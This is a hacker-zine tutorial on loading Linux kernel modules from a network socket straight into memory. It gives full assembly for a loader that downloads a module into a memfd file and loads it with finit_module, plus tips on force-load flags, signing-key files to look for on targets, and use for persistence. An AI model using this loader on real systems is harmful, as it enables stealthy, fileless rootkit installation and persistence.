1.9 In-Memory LKM Loading
~ netspooky
Since some changes to the Linux kernel in the past year have destroyed the old methodology of x86_64 binary golf, I figured it'd be fun to briefly touch on a technique for loading kernel modules from remote sources. We will discuss two useful syscalls for your LKM loader, as well as some things to consider when using this approach.
Building A Test Module
We will start by building a simple kernel module to test with. All it will do is print a message to the kernel ring buffer (view with the `dmesg` command).
// bang.c
#include <linux/module.h>
#include <linux/init.h>
MODULE_LICENSE("GPL");
static int __init he(void) {
printk(KERN_INFO"we out here :}\n");
return 0;
}
static void __exit le(void) {
printk(KERN_INFO"we are no longer out here :{\n");
}
module_init(he);
module_exit(le);
A simple Makefile to build it:
obj-m += bang.o
dir = $(shell uname -rm | sed -e 's/\s/\-/')
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
strip: all
strip bang.ko
mkdir -p $(dir)
cp -v bang.ko $(dir)/he.ko
load: all
sudo insmod bang.ko
unload:
sudo rmmod bang
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
To build, just run
make
Serve on port 42000 with
cat bang.ko | nc -k -lvp 42000
The Loader
The loader we will be using is fairly straight forward, but I will go over it in detail for those who are learning these techniques for further development.
We are going to download this module into an in memory file. So we will start by first creating a socket to our server (127.0.0.1:42000) that hosts the kernel module. We will then create a memfd file to download to the target.
The memfd_create syscall was created as a method to have temporary files that aren't associated with any file system. They are a convenient way to write to a file that only exists for the life of your program, and gives you the benefit of having both a temporary path, and a file descriptor.
See an example of executing a memfd file from /proc/self/fd/4 here: https://github.com/netspooky/golfclub/blob/master/linux/dl_memfd_219.asm#L100
Once we've got our memfd file set up, we read the socket buffer from the remote host, and write it to our file descriptor.
After the file has been downloaded to our memfd file, we use the finit_module syscall to load a kernel module via a file descriptor.
kl.asm
;-- Download a kernel module from 127.0.0.1:42000 to memory and load -------//--
; __ __ . __ __ __ __ . . . setup:
; | ||__||_ |__ |__|| || ||_/| | $ cat somekernelmodule.ko | nc -lvp 42000
; | || | || |o ||o ||\ |__| build:
; | ||__ |__ __|| |__||__|| \ __| $ nasm -f elf64 kl.asm ; ld kl.o -o kl
;-------------------------------------------------------------------------------
section .text
global _start
_start:
; socket -----------------------------------------------------------------------
; Setting up the socket
; int socket(int domain, int type, int protocol);
; rdi = int domain
; rsi = int type
; rdx = int protocol
;-------------------------------------------------------------------------------
push byte 0x29 ; Push socket syscall number
pop rax ; RAX = socket syscall
push byte 0x2 ; Push domain: AF_INET
pop rdi ; RDI = AF_INET
push byte 0x1 ; Push type: SOCK_STREAM
pop rsi ; RSI = SOCK_STREAM
cdq ; RDX = 0
syscall ; socket syscall
; connect ----------------------------------------------------------------------
; We connect to our host to grab the file buffer
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; rdi = int sockfd
; rsi = const struct sockaddr *addr
; rdx = socklen_t addrlen
;-------------------------------------------------------------------------------
xchg rdi, rax ; int sockfd
mov rbx, rdi ; Save sockfd in rbx too for later
mov dword [rsp-4], 0x100007F ; Our IP = 127.0.0.1
mov word [rsp-6], 0x10A4 ; Our Port = 42000
mov byte [rsp-8], 0x02 ; sockfd
sub rsp, 8 ; Line up
push byte 0x2a ; Push connect syscall number
pop rax ; RAX = connect syscall
mov rsi, rsp ; const struct sockaddr *addr
push byte 0x10 ; length
pop rdx ; length -> rdx
syscall ; Execute the connect syscall
; memfd_create -----------------------------------------------------------------
; We are creating a virtual file to save our socket buffer to.
; int memfd_create(const char *name, unsigned int flags);
; rdi = const char *pathname
; rsi = int flags
;-------------------------------------------------------------------------------
mov ax, 0x13f ; The syscall
push 0x474e4142 ; Filename BANG (GNAB here)
mov rdi, rsp ; Arg0: The file name
xor rsi, rsi ; int flags
syscall ; Execute memfd_create syscall
; read -------------------------------------------------------------------------
; We are reading the socket buffer to a buffer to save to local file
; ssize_t read(socket sockfd,buf,len)
; rdi = int fd
; rsi = void *buf
; rdx = size_t count
;-------------------------------------------------------------------------------
mov r9, rax ; Save the local file descriptor
mov rdx, 0x400 ; size_t count = 1024 bytes
rwloop:
mov rdi, rbx ; Move sockFD to RDI
xor rax, rax ; 0 is read sycall
lea rsi, [rsp-1024] ; buffer to hold output - arg1 *buf
syscall ; Read syscall
; write ------------------------------------------------------------------------
; We are writing the socket buffer to our local file
; ssize_t sys_write(fd,*buf,count)
; rdi = int fd
; rsi = const *buf
; rdx = size_t count
;-------------------------------------------------------------------------------
mov rdi, r9 ; Copy the file descriptor from our local file
mov rdx, rax ; RDX = # of bytes read, 0 means end of file
xor rax, rax ; RAX = 0
mov al, 1 ; Syscall number
syscall ; Write syscall
cmp dx, 0x400 ; Check if there are still bytes left to read
je rwloop ; Loop if so
; finit_module -----------------------------------------------------------------
; Load the kernel module via a file descriptor
; int finit_module(int fd, const char *param_values, int flags);
; rdi = int fd - The file descriptor
; rsi = const char *param_values
; rdx = int flags
;-------------------------------------------------------------------------------
xor rax, rax ; RAX = 0
push rax ; param_values
mov rsi, rsp ; RSI = *param_values
mov rax, 0x139 ; finit_module syscall
mov rdi, r9 ; int fd
xor rdx, rdx ; int flags
syscall ; finit_module syscall
;--- Exit ----------------------------------------------------------------------
; void exit(int status);
; rdi = int status
;-------------------------------------------------------------------------------
mov rax, 0x3c ; Exit Syscall
mov rdi, 0x45 ; Return 69 for integrity check
syscall ; Peace out
finit_module flags
The finit_module syscall is an interesting way to load a kernel module in Linux. Normally, the init_module syscall will load a module from a pointer in memory. The finit_module syscall loads a kernel module from a file descriptor, and also has some unique ways to override the normal checks done before loading a module image. NOTE: finit_module flags are only usable if the target kernel is built to allow force loading. (See next section for details)
The flags to override are defined in include/uapi/linux/module.h, and are OR'd and passed in the syscall in RDX.
/* Flags for sys_finit_module: */
#define MODULE_INIT_IGNORE_MODVERSIONS 1
#define MODULE_INIT_IGNORE_VERMAGIC 2
The MODULE_INIT_IGNORE_MODVERSIONS flag ignores the symbol version hashes, and the MODULE_INIT_IGNORE_VERMAGIC flag ignores the kernel version magic value in the module. These both can be used to force the module into the kernel when they otherwise would be rejected. This can cause some undefined behavior and break the kernel, so use these flags with caution!
finit_module describes this functionality as:
..useful when the authenticity of a kernel module can be determined from its location in the filesystem; in cases where that is possible, the overhead of using cryptographically signed modules to determine the authenticity of a module can be avoided.
- man 2 finit_module
Determining Compatibility
The tricky part about loading kernel modules in general is that there are many different configurations that can allow or disallow certain types of modules, or ways of loading them into the kernel. These are some of the kernel config flags you should know about before trying to load your module.
::: CONFIG_MODVERSIONS :::
If this is set, (eg CONFIG_MODVERSIONS=y), then you should be able to load kernel modules compiled for different kernels.
Check:
$ grep CONFIG_MODVERSIONS /boot/config-YOURKERNELVERSION
CONFIG_MODVERSIONS=y
More Info: https://cateee.net/lkddb/web-lkddb/MODVERSIONS.html
::: CONFIG_MODULE_SIG_FORCE :::
If this is set, then you won't be able to load unsigned modules.
Check:
$ grep CONFIG_MODULE_SIG_FORCE /boot/config-YOURKERNELVERSION
# CONFIG_MODULE_SIG_FORCE is not set
More Info: https://cateee.net/lkddb/web-lkddb/MODULE_SIG_FORCE.html
PROTIP: You can enumerate the system for prexisting trusted keys that may be there depending on the system you are targeting.
Examples
/var/lib/shim-signed/mok/MOK.priv & /var/lib/shim-signed/mok/MOK.der
/usr/src/LINUX/certs/signing_key.pem & /usr/src/LINUX/certs/signing_key.x509
::: CONFIG_MODULE_FORCE_LOAD :::
If this is set, this allows loading modules without version information. This should be set if attempting to use the finit_module flags. If it is not set and you use the flags to override, it'll fail with ENOEXEC.
Check:
$ grep CONFIG_MODULE_FORCE_LOAD /boot/config-YOURKERNELVERSION
# CONFIG_MODULE_FORCE_LOAD is not set
More info: https://cateee.net/lkddb/web-lkddb/MODULE_FORCE_LOAD.html
.fini
We were using this technique when golfing kernel modules and testing the loader.
It was also used during WRCCDC in the form of a one-liner that was helpful in establishing ad hoc persistence across many machines of the same configuration.
This is just one of the many ways to load a kernel module. There's a lot to explore, and I hope this inspires you to play around!
Shout out to everyone in: tmp.0ut, thugcrowd, vxug, tcpd
PS. Look for a new ELF Binary Mangling article in the coming issues of tmp.0ut!